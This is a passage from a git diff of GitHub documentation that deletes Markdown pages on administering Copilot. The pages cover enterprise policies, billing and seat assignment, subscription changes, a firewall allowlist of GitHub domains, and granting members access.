variables.product.prodname_copilot_chat %} in the IDE - -You can chat with {% data variables.product.prodname_copilot %} in your IDE to get code suggestions and answers to coding-related questions without context switching. - -### Editor preview features - -Some features of {% data variables.product.prodname_copilot_short %} are available as preview features in your editor. You can enable or disable these features for your enterprise. - -### {% data variables.product.prodname_copilot_mobile %} - -{% data variables.product.prodname_copilot_mobile %} is a chat interface that lets you interact with {% data variables.product.prodname_copilot %} to ask and receive answers to coding-related questions within {% data variables.product.prodname_mobile %}. - -### {% data variables.product.prodname_copilot_extensions %} - -{% data variables.product.prodname_copilot_extensions %} integrate external tools with {% data variables.product.prodname_copilot_chat %}, helping members of your enterprise reduce context switching, interact with tools using natural language, and customize their {% data variables.product.prodname_copilot_chat_short %} experience. - -### Suggestions matching public code - -{% data variables.product.prodname_copilot %} includes a filter which detects code suggestions that match public code on {% data variables.product.prodname_dotcom %}. When the filter is enabled, {% data variables.product.prodname_copilot %} checks code suggestions with their surrounding code of about 150 characters against public code on {% data variables.product.prodname_dotcom %}. If there is a match or near match, the suggestion will not be shown. - -### Give {% data variables.product.prodname_copilot_short %} access to Bing - -{% data variables.product.prodname_copilot_chat %} can use Bing to provide enhanced responses by searching the internet for information related to a question. Bing search is particularly helpful when discussing new technologies or highly specific subjects. - -### {% data variables.product.prodname_copilot_short %} access to alternative AI models - -> [!NOTE] The following models are currently in {% data variables.release-phases.public_preview %} as AI models for {% data variables.product.prodname_copilot %}, and are subject to change. The [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-pre-release-license-terms) apply to your use of these products. -> -> Support for GPT-4.5 is only available on {% data variables.product.prodname_copilot_enterprise_short %}. - -By default, {% data variables.product.prodname_copilot_chat_short %} uses the GPT-4o model. If you grant access to the alternative models, members of your enterprise can choose to use these models rather than the default GPT-4o model. The available alternative models are: - -* **{% data variables.copilot.copilot_claude_sonnet %}**. See [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-claude-sonnet-in-github-copilot). -* **{% data variables.copilot.copilot_gemini_flash %}**. See [AUTOTITLE](/copilot/using-github-copilot/ai-models/using-gemini-flash-in-github-copilot). -* **OpenAI's models:** - * **o1**: This model is focused on advanced reasoning and solving complex problems, in particular in math and science. It responds more slowly than the GPT-4o model. Each member of your enterprise can make 10 requests to this model per day. - * **o3-mini**: This is the next generation of reasoning models, following from o1 and o1-mini. The o3-mini model outperforms o1 on coding benchmarks with response times that are comparable to o1-mini, providing improved quality at nearly the same latency. It is best suited for code generation and small context operations. Each member of your enterprise can make 50 requests to this model every 12 hours. {% ifversion copilot-enterprise %} - * **GPT-4.5**: This model is designed with advanced capabilities in intuition, writing style, and broad knowledge. It performs effectively with creative prompts and provides reliable responses to obscure knowledge queries. Each member of your enterprise can make 10 requests to this model every 12 hours. {% endif %} - -### {% data variables.product.prodname_copilot_short %} Metrics API access - -Enable this policy to allow users to use the {% data variables.product.prodname_copilot_short %} Metrics API. See [AUTOTITLE](/rest/copilot/copilot-metrics). - -## Configuring policies for {% data variables.product.prodname_copilot %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.copilot-tab %} -{% data reusables.enterprise-accounts.copilot-policies-tab %} -1. For each policy you want to configure, click the dropdown menu and select an enforcement option. diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/about-billing-for-github-copilot-in-your-enterprise.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/about-billing-for-github-copilot-in-your-enterprise.md deleted file mode 100644 index 30eb4a73af24..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/about-billing-for-github-copilot-in-your-enterprise.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: About billing for GitHub Copilot in your enterprise -shortTitle: About billing -intro: 'Learn about pricing and billing cycles for {% data variables.product.prodname_copilot_short %} in your enterprise.' -permissions: 'Enterprise owners' -product: '{% data variables.product.prodname_copilot_for_business %} and {% data variables.product.prodname_copilot_enterprise %}' -versions: - feature: copilot -type: overview -topics: - - Copilot ---- - -## About {% data variables.product.prodname_copilot_short %} plans for your enterprise - -{% data variables.product.company_short %} offers the following plans for enterprise accounts: -* **{% data variables.product.prodname_copilot_business_short %}** at {% data variables.copilot.cfb_price_per_month %} per user per month -* **{% data variables.product.prodname_copilot_enterprise_short %}** at {% data variables.copilot.ce_price_per_month %} per user per month - -When you subscribe to {% data variables.product.prodname_copilot_enterprise_short %} at the enterprise level, you can choose which plan to enable for each organization in your enterprise. - -For guidance, see [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/choosing-your-enterprises-plan-for-github-copilot). - -## About the billing cycle for {% data variables.product.prodname_copilot_short %} in your enterprise - -Billed users are calculated at the end of each billing cycle, based on the number of {% data variables.product.prodname_copilot %} seats that are assigned. You can add or remove seats at any time during the billing cycle. - -* **Any seat assigned part way through the billing cycle** will be prorated based on the number of days remaining in the cycle. -* **Any seat assignment removed during a billing cycle** will take effect from the beginning of the next cycle. The person will still be able to use {% data variables.product.prodname_copilot %} until the end of the cycle. If a user's access to organizations in the enterprise with {% data variables.product.prodname_copilot_short %} seats is removed, they will lose access immediately. - -Your enterprise will be charged on whichever payment method you’ve set up for the enterprise account, such as a credit card or a Microsoft Azure subscription. - -{% ifversion billing-auth-and-capture %} - -{% data reusables.billing.authorization-charge %} - -{% endif %} - -> [!NOTE] {% data variables.product.prodname_copilot %} billing operates in Coordinated Universal Time (UTC), but it calculates your bill according to the timezone of your billing cycle. For example, if you're billed through Azure and your current billing cycle ends at 11:59 PM EST on December 1st, canceling a seat at 7:00 PM EST on December 1st might show the seat cancellation at 12:00 AM UTC on December 2nd. However, the seat would end within the billing cycle that you requested the cancellation, and you would not pay for that seat in the following cycle. - -### About seat assignment for {% data variables.product.prodname_copilot_short %} in your enterprise - -A {% data variables.product.prodname_copilot %} seat is a license to use {% data variables.product.prodname_copilot %}, which is granted to a unique user account through an enterprise's {% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %} subscription. Each month, the enterprise is charged for the number of assigned seats. - -If a single user receives a seat from multiple organizations in the same enterprise, the enterprise will only be billed once per billing cycle for that unique user. One of the organizations that assigned {% data variables.product.prodname_copilot_short %} to the user will be chosen at random each month to be billed for the seat. - -Seat assignment is managed by owners of organizations{% ifversion ghec %} that have been granted access to {% data variables.product.prodname_copilot %} at the enterprise level{% endif %}. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization). - -If you are a member of an organization or enterprise with a {% data variables.product.prodname_copilot %} subscription, to use the subscription, you will need to be assigned a seat by an organization owner. - -### About billing through Azure - -When you connect an Azure subscription to your organization or enterprise account and enable metered billing via Azure, metered usage will start to be sent to Azure. You will be billed through {% data variables.product.prodname_dotcom %} for usage from the start of the current billing cycle to when you enabled metered billing via Azure, on your next billing date. The period between the date you connected your Azure subscription and enabled metered billing via Azure, and the end of the calendar month will be charged in Azure on the first of the month. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). - -> [!NOTE] Usage data is sent to Azure daily, but you are billed at the end of the month based on the number of seats used. This means that although you can track your daily spending (number of seats in this case), actual payments are processed monthly. - -## About changes to your {% data variables.product.prodname_copilot_short %} subscription - -If you upgrade an organization from {% data variables.product.prodname_copilot_business_short %} to {% data variables.product.prodname_copilot_enterprise_short %}, all users who currently have a seat for {% data variables.product.prodname_copilot_business_short %} will immediately receive access to {% data variables.product.prodname_copilot_enterprise_short %}. You will be charged for each {% data variables.product.prodname_copilot_enterprise %} seat pro rata for the rest of the cycle. - -If you downgrade an organization's {% data variables.product.prodname_copilot_enterprise %} subscription during a billing cycle, the users will have access to {% data variables.product.prodname_copilot_enterprise %} for the rest of the cycle, and the change to your bill will take effect from the following cycle. - -Disabling {% data variables.product.prodname_copilot %} for all organizations in your enterprise will cancel your enterprise's {% data variables.product.prodname_copilot_short %} subscription. - -{% data reusables.copilot.copilot-one-account %} - -## Further reading - -* [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-for-your-enterprise) -* [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise) -* [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-information-to-your-receipts) diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/canceling-copilot-for-your-enterprise.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/canceling-copilot-for-your-enterprise.md deleted file mode 100644 index 63011dc0d80c..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/canceling-copilot-for-your-enterprise.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Canceling Copilot for your enterprise -shortTitle: Cancel subscription -intro: 'Disabling {% data variables.product.prodname_copilot %} for all organizations in your enterprise will cancel your enterprise''s {% data variables.product.prodname_copilot_short %} subscription.' -permissions: Enterprise admins -product: '{% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %}' -versions: - feature: copilot-enterprise -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-for-your-enterprise/canceling-copilot-for-your-enterprise ---- - -{% data reusables.copilot.disable-copilot-for-all-orgs %} diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/downgrading-copilot-for-your-enterprise.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/downgrading-copilot-for-your-enterprise.md deleted file mode 100644 index a28323fcceef..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/downgrading-copilot-for-your-enterprise.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Downgrading Copilot for your enterprise -shortTitle: Downgrade subscription -intro: 'You can downgrade organizations in your enterprise from {% data variables.product.prodname_copilot_enterprise_short %} to {% data variables.product.prodname_copilot_business_short %}.' -permissions: Enterprise owners -product: 'Enterprises with a subscription to {% data variables.product.prodname_copilot_enterprise_short %}' -versions: - feature: copilot-enterprise -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-for-your-enterprise/downgrading-copilot-for-your-enterprise ---- - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.copilot-tab %} -1. Under "Access management", locate the organization for which you want to downgrade {% data variables.product.prodname_copilot_short %}. -1. To the right of the organization name, select the **Copilot** dropdown menu, and click **Business**. - - ![Screenshot of the Copilot "access management" page. A dropdown menu is selected, and a button labeled "Business" is outlined in orange.](/assets/images/help/copilot/copilot-downgrade-to-business.png) - -1. In the pop-up window that appears, review the effects of downgrading the organization, then click **Confirm and downgrade**. diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/index.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/index.md deleted file mode 100644 index 09e81ee8e04d..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Managing the Copilot subscription for your enterprise -shortTitle: Manage subscription -intro: 'Enterprise owners can manage the {% data variables.product.prodname_copilot_short %} subscription for the enterprise.' -versions: - feature: copilot-enterprise -topics: - - Copilot -children: - - /about-billing-for-github-copilot-in-your-enterprise - - /subscribing-to-copilot-for-your-enterprise - - /canceling-copilot-for-your-enterprise - - /upgrading-copilot-for-your-enterprise - - /downgrading-copilot-for-your-enterprise ---- diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/subscribing-to-copilot-for-your-enterprise.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/subscribing-to-copilot-for-your-enterprise.md deleted file mode 100644 index c3234b149a16..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/subscribing-to-copilot-for-your-enterprise.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Subscribing to Copilot for your enterprise -shortTitle: Subscribe -intro: 'Enterprise owners can set up a {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %} subscription for their enterprise.' -permissions: Enterprise owners -product: 'Enterprises on {% data variables.product.prodname_ghe_cloud %}' -versions: - feature: copilot-enterprise -topics: - - Copilot -redirect_from: - - /billing/managing-billing-for-github-copilot/managing-your-github-copilot-enterprise-subscription - - /copilot/managing-copilot/managing-copilot-for-your-enterprise/subscribing-to-copilot-for-your-enterprise ---- - ->[!NOTE] -> {% data reusables.copilot.signup-procedure-enterprise-msft-ea %} -> -> If you do not yet have a {% data variables.product.prodname_ghe_cloud %} account, you can start a free 30-day trial, which includes {% data variables.product.prodname_copilot_for_business %}. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/overview/setting-up-a-trial-of-github-enterprise-cloud). - -1. Ensure you are signed in as an enterprise admin on {% data variables.product.github %}. -1. Navigate to the [{% data variables.product.prodname_copilot %} sign up page](https://github.com/github-copilot/purchase). -1. Ensure you are signed in to the right enterprise account. If you are not, click **{% octicon "arrow-switch" aria-hidden="true" %} Switch** and select the enterprise for which you want to purchase {% data variables.product.prodname_copilot %}. You can also append `?enterprise=YOUR-ENTERPRISE` to the URL to pre-select the enterprise. -1. Follow the steps to sign up and enable {% data variables.product.prodname_copilot_short %} for organizations in your enterprise. If you purchased {% data variables.product.prodname_copilot_enterprise_short %}, you will be able to assign either {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %} to each individual organization in the enterprise. - -## Next steps - -* To finish setting up {% data variables.product.prodname_copilot_short %} for your enterprise, see [AUTOTITLE](/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-enterprise). -* For billing information, see [AUTOTITLE](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot#about-billing-for-github-copilot-business-and-github-copilot-enterprise) and [AUTOTITLE](/billing/managing-your-github-billing-settings). - -## Further reading - -* [AUTOTITLE](/copilot/about-github-copilot/subscription-plans-for-github-copilot) diff --git a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/upgrading-copilot-for-your-enterprise.md b/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/upgrading-copilot-for-your-enterprise.md deleted file mode 100644 index ae1e2ef51f00..000000000000 --- a/content/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-the-copilot-subscription-for-your-enterprise/upgrading-copilot-for-your-enterprise.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Upgrading Copilot for your enterprise -shortTitle: Upgrade subscription -intro: 'Change your enterprise''s subscription from {% data variables.product.prodname_copilot_business_short %} to {% data variables.product.prodname_copilot_enterprise_short %}.' -permissions: Enterprise owners -product: 'Enterprises with a subscription to {% data variables.product.prodname_copilot_business_short %}' -versions: - feature: copilot-enterprise -topics: - - Copilot -redirect_from: - - /copilot/managing-copilot/managing-copilot-for-your-enterprise/upgrading-copilot-for-your-enterprise ---- - ->[!NOTE] -> You must already have a paid subscription to {% data variables.product.prodname_copilot_business_short %} to upgrade to {% data variables.product.prodname_copilot_enterprise_short %}. Trial subscriptions are not eligible for upgrade. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.copilot-tab %} -1. In the "{% data variables.product.prodname_copilot_business_short %} is active in your enterprise" section, click **Purchase {% data variables.product.prodname_copilot_enterprise_short %}**. - - ![Screenshot of the Copilot "access management" page. A link, labeled "Purchase {% data variables.product.prodname_copilot_enterprise_short %}", is highlighted with an orange outline.](/assets/images/help/copilot/purchase-copilot-enterprise.png) - -1. In the dialog, click **Continue to billing summary**. -1. Review your updated billing summary, then click **Enable plan**. - -## Next steps - -After upgrading to {% data variables.product.prodname_copilot_enterprise_short %}, you can assign {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %} to individual organizations in the enterprise. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/enabling-copilot-for-organizations-in-your-enterprise). - -## Further reading - -* [AUTOTITLE](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot) diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/configuring-your-proxy-server-or-firewall-for-copilot.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/configuring-your-proxy-server-or-firewall-for-copilot.md deleted file mode 100644 index 292d93f98d92..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/configuring-your-proxy-server-or-firewall-for-copilot.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Configuring your proxy server or firewall for Copilot -intro: 'You should allow certain traffic through your firewall or proxy server for {% data variables.product.prodname_copilot_short %} to work as intended.' -permissions: 'Proxy server maintainers or firewall maintainers' -product: '{% data reusables.gated-features.copilot %}' -versions: - feature: copilot -topics: - - Copilot -shortTitle: Allow Copilot traffic ---- - -If your company employs security measures like a firewall or proxy server, you should add the following URLs, ports, and protocols to an allowlist to ensure {% data variables.product.prodname_copilot_short %} works as expected: - -| Domain and/or URL | Purpose | -| :------------------------------------- | :--------------------------------- | -| `https://github.com/login/*` | Authentication | -| `https://github.com/enterprises/YOUR-ENTERPRISE/*` | Authentication for {% data variables.enterprise.prodname_managed_users %}, only required with {% data variables.product.prodname_emus %} | -| `https://api.github.com/user` | User Management | -| `https://api.github.com/copilot_internal/*` | User Management | -| `https://copilot-telemetry.githubusercontent.com/telemetry` | Telemetry | -| `https://default.exp-tas.com` | Telemetry | -| `https://copilot-proxy.githubusercontent.com` | API service for {% data variables.product.prodname_copilot_short %} suggestions | -| `https://origin-tracker.githubusercontent.com` | API service for {% data variables.product.prodname_copilot_short %} suggestions | -| `https://*.githubcopilot.com`[^1] | API service for {% data variables.product.prodname_copilot_short %} suggestions | -| `https://*.individual.githubcopilot.com`[^2] | API service for {% data variables.product.prodname_copilot_short %} suggestions | -| `https://*.business.githubcopilot.com`[^3] | API service for {% data variables.product.prodname_copilot_short %} suggestions | -| `https://*.enterprise.githubcopilot.com`[^4] | API service for {% data variables.product.prodname_copilot_short %} suggestions | - -Depending on the security policies and editors your organization uses, you may need to allowlist additional domains and URLs. For more information on specific editors, see [Further reading](#further-reading). - -Every user of the proxy server or firewall also needs to configure their own environment to connect to {% data variables.product.prodname_copilot_short %}. See [AUTOTITLE](/copilot/configuring-github-copilot/configuring-network-settings-for-github-copilot). - -## Further reading - -* [Network Connections in {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/docs/setup/network) in the {% data variables.product.prodname_vs %} documentation -* [Install and use {% data variables.product.prodname_vs %} and Azure Services behind a firewall or proxy server](https://learn.microsoft.com/en-us/visualstudio/install/install-and-use-visual-studio-behind-a-firewall-or-proxy-server) in the Microsoft documentation - -[^1]: Allows access to authorized users regardless of {% data variables.product.prodname_copilot_short %} subscription. Do not add this URL to your allowlist if you are using subscription-based network routing. For more information on subscription-based network routing, see [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/managing-github-copilot-access-to-your-enterprises-network). -[^2]: Allows access to authorized users via a {% data variables.product.prodname_copilot_individuals_short %} subscription. Do not add this URL to your allowlist if you are using subscription-based network routing. -[^3]: Allows access to authorized users via a {% data variables.product.prodname_copilot_business_short %} subscription. Do not add this URL to your allowlist if you want to use subscription-based network routing to block users from using {% data variables.product.prodname_copilot_business_short %} on your network. -[^4]: Allows access to authorized users via a {% data variables.product.prodname_copilot_enterprise_short %} subscription. Do not add this URL to your allowlist if you want to use subscription-based network routing to block users from using {% data variables.product.prodname_copilot_enterprise_short %} on your network. diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/index.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/index.md deleted file mode 100644 index ca03593b6fb6..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Managing GitHub Copilot in your organization -shortTitle: Manage for organization -intro: 'Organization owners can subscribe to {% data variables.product.prodname_copilot_short %}, manage {% data variables.product.prodname_copilot_short %} for their organization, and control {% data variables.product.prodname_copilot_short %} policies.' -versions: - feature: copilot -redirect_from: - - /copilot/managing-copilot/managing-policies-for-copilot-business-in-your-organization - - /copilot/managing-github-copilot-in-your-organization -topics: - - Copilot -children: - - /managing-the-copilot-subscription-for-your-organization - - /managing-policies-for-copilot-in-your-organization - - /configuring-your-proxy-server-or-firewall-for-copilot - - /managing-access-to-github-copilot-in-your-organization - - /reviewing-activity-related-to-github-copilot-in-your-organization ---- diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization.md deleted file mode 100644 index cd3822da2005..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Granting access to Copilot for members of your organization -shortTitle: Granting access -intro: 'Grant access to {% data variables.product.prodname_copilot %} for some or all of the members of your organization.' -permissions: 'Organization owners for organizations with a subscription to {% ifversion ghec %}{% data variables.product.prodname_copilot_enterprise_short %} or{% endif %} {% data variables.product.prodname_copilot_business_short %}.' -versions: - feature: copilot -redirect_from: - - /copilot/managing-github-copilot-in-your-organization/managing-access-for-copilot-in-your-organization - - /copilot/managing-github-copilot-in-your-organization/managing-access-for-copilot-business-in-your-organization - - /copilot/managing-copilot-for-business/managing-access-for-copilot-for-business-in-your-organization - - /copilot/managing-copilot-business/managing-access-for-copilot-business-in-your-organization - - /copilot/managing-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization -topics: - - Copilot ---- - -## Configuring access to {% data variables.product.prodname_copilot %} in your organization - -{% ifversion ghec %}After a {% data variables.product.prodname_dotcom %} enterprise owner enables {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %} for an organization, an owner of that organization can grant {% data variables.product.prodname_copilot %} access to members of their organization.{% else %}After setting up a {% data variables.product.prodname_copilot_business_short %} subscription, an organization owner can grant {% data variables.product.prodname_copilot %} access to members of their organization.{% endif %} - -Billing for {% data variables.product.prodname_copilot %} starts when you grant an organization member access, irrespective of when they first use {% data variables.product.prodname_copilot_short %}. If you grant an organization member access midway through a billing cycle, the cost is prorated for the remainder of the cycle. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot). - -## Granting access to {% data variables.product.prodname_copilot %} for all current and future users in your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.copilot.access-settings %} -1. If the **Allow this organization to assign seats** button is displayed, click this button. -1. Click **Start adding seats**. -1. To enable {% data variables.product.prodname_copilot %} for all current and future users in your organization, select **Purchase for all members**. -1. In the "Confirm seats purchase for all members" dialog, to confirm that you want to enable {% data variables.product.prodname_copilot %} for all current and future users in your organization, click **Purchase seats**. - -## Granting access to {% data variables.product.prodname_copilot %} for specific users in your organization - -{% ifversion ghec %} - -> [!NOTE] You can automatically enable access for every member of a group in your identity provider (IdP) by synchronizing that group with a {% data variables.product.prodname_dotcom %} team, then giving that team access to {% data variables.product.prodname_copilot %}. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group). - -{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.copilot.access-settings %} -1. If the **Allow this organization to assign seats** button is displayed, click this button. -1. Click **Start adding seats**. -1. To enable {% data variables.product.prodname_copilot %} for selected teams or users in your organization, select **Purchase for selected members**. -1. In the "Enable Copilot access for users and teams" dialog, click one of the two tabs. - - ![Screenshot of the "enable access for selected members" dialog.](/assets/images/help/copilot/enable-access-for-selected-members.png) - - * Click **Users and teams** to search for and add individual users or teams. - - To search for a user, type their username or full name in the search bar. If you select a user who is not currently a member of your organization, they will be invited to join your organization when you click **Continue to purchase** followed by **Purchase seats**. - - * Click **Upload CSV** to add users in bulk by uploading a CSV file. - - To add members in bulk, click **Choose CSV to upload**, and then upload a CSV file including either the username or email address for each member you want to add, separated by a comma. The file can contain a mixture of usernames and email addresses. - - > [!WARNING] When you upload a CSV file, unless you're using {% data variables.product.prodname_emus %}, {% data variables.product.prodname_copilot %} will search all users on {% data variables.product.prodname_dotcom_the_website %} for matches. If the CSV includes users who are not members of your organization, they will be invited to join your organization when you click **Continue to purchase** followed by **Purchase seats**. This warning does not apply to accounts using {% data variables.product.prodname_emus %}. - - Review the list of users generated from your CSV file. Clear the selection of any users you do not want to add. - -1. Click **Continue to purchase**, then click **Purchase seats**. - -## Using the API to grant access to {% data variables.product.prodname_copilot %} - -You can use {% data variables.product.prodname_dotcom %}'s REST API to grant access to {% data variables.product.prodname_copilot %} for teams, or specific users, in your organization. See [Add teams to the Copilot subscription for an organization](/rest/copilot/copilot-user-management?apiVersion=2022-11-28#add-teams-to-the-copilot-subscription-for-an-organization) and [Add users to the Copilot subscription for an organization](/rest/copilot/copilot-user-management?apiVersion=2022-11-28#add-users-to-the-copilot-subscription-for-an-organization). - -{% data reusables.copilot.self-serve-license-link %} - -## Further reading - -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center) -* [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/managing-policies-for-copilot-in-your-organization) -* [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-github-copilot-activity-in-your-organization/reviewing-usage-data-for-github-copilot-in-your-organization) -* [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/revoking-access-to-copilot-for-members-of-your-organization) diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/index.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/index.md deleted file mode 100644 index 388564a4e7f6..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Managing access to GitHub Copilot in your organization -shortTitle: Manage access -intro: 'Organization owners can grant and revoke {% data variables.product.prodname_copilot_short %} access for members of their organization.' -versions: - feature: copilot -topics: - - Copilot -children: - - /granting-access-to-copilot-for-members-of-your-organization - - /managing-requests-for-copilot-business-in-your-organization - - /revoking-access-to-copilot-for-members-of-your-organization - - /managing-github-copilot-access-to-your-organizations-network -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-github-copilot-activity-in-your-organization ---- - diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/managing-github-copilot-access-to-your-organizations-network.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/managing-github-copilot-access-to-your-organizations-network.md deleted file mode 100644 index 8f1bb4e12e2b..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/managing-github-copilot-access-to-your-organizations-network.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Managing GitHub Copilot access to your organization's network -intro: 'Learn how to use subscription-based network routing to control {% data variables.product.prodname_copilot_short %} access to your network.' -permissions: Organization owners -product: '{% data variables.product.prodname_copilot_business_short %}' -versions: - feature: copilot -topics: - - Copilot -shortTitle: Manage network access ---- - -{% data reusables.copilot.sku-isolation %} diff --git a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/managing-requests-for-copilot-business-in-your-organization.md b/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/managing-requests-for-copilot-business-in-your-organization.md deleted file mode 100644 index 6c1a122f76e8..000000000000 --- a/content/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/managing-requests-for-copilot-business-in-your-organization.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Managing requests for Copilot Business in your organization -shortTitle: Manage requests for access -intro: 'Approve or deny requests for {% data variables.product.prodname_copilot_short %} access in your organization.' -permissions: Organization owners -redirect_from: - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-requests-for-copilot-access-in-your-organization - - /copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/managing-requests-for-copilot-access-in-your-organization -product: 'Organizations with a subscription to {% data variables.product.prodname_copilot_for_business %} and organizations owned by an enterprise with a subscription to {% data variables.product.prodname_copilot_for_business %}' -versions: - feature: 